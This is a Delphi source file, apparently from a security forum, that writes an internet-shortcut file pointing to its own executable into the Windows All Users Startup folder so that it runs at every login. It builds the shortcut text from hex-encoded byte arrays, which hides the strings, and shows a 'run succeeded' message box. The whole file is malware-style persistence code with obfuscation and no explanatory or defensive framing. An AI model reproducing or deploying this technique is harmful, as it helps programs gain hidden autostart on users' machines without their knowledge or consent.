program Project1;
{$APPTYPE CONSOLE}
uses
Windows,
SysUtils;
var
szExePath:array [0..255] of Char;
lpLnkPath:PChar;
iHotKey : Integer = 32;
s1 : array [0..32] of Byte =
(
$5B,$49,$6E,$74,$65,$72,$6E,$65,$74,
$53,$68,$6F,$72,$74,$63,$75,$74,$5D,
$0D,$0A,$55,$52,$4C,$3D,$66,$69,$6C,
$65,$3A,$2F,$2F,$2F,$00
);
s2 : array [0..9] of Byte =
(
$0D,$0A,$48,$6F,$74,$4B,$65,$79,$3D,$00
);
procedure CreateUrlLink(lpExePath:PChar;lpUrlPath:PChar;iHotKey:Integer);
var
s : string;
ss:PChar;
d : DWORD;
hFile:THandle;
s11 : array [0..32] of char;
s22 : array [0..9] of char;
Text:TextFile;
lpUrlPaths : string;
lpUrlPathss:PWideChar;
begin
ZeroMemory(@s11,33);
ZeroMemory(@s22,10);
CopyMemory(@s11,@s1,33);
CopyMemory(@s22,@s2,10);
s := Format('%s%s%s%d',[s11,lpExePath,s22,iHotKey]);
Writeln(s);
Writeln(lpUrlPath);
Readln;
lpUrlPaths := GetEnvironmentVariable('ALLUSERSPROFILE') + '\「开始」菜单\程序\启动\as.txt';
Writeln(lpUrlPaths);
Readln;
lpUrlPathss:=StringToOleStr(lpUrlPaths);
ss := PChar(s);
hFile := CreateFileW(lpUrlPathss,GENERIC_ALL,FILE_SHARE_WRITE,nil,CREATE_ALWAYS,0,0);
WriteFile(hFile,ss[0],Length(ss),d,nil);
CloseHandle(hFile);
end;
begin
MessageBox(0,'运行成功','',0);
lpLnkPath := ('C:\Documents and Settings\All Users\「开始」菜单\X.url');
GetModuleFileName(0,szExePath,SizeOf(szExePath));
CreateUrlLink(szExePath,lpLnkPath,iHotKey);
end.
[课程]Linux pwn 探索篇!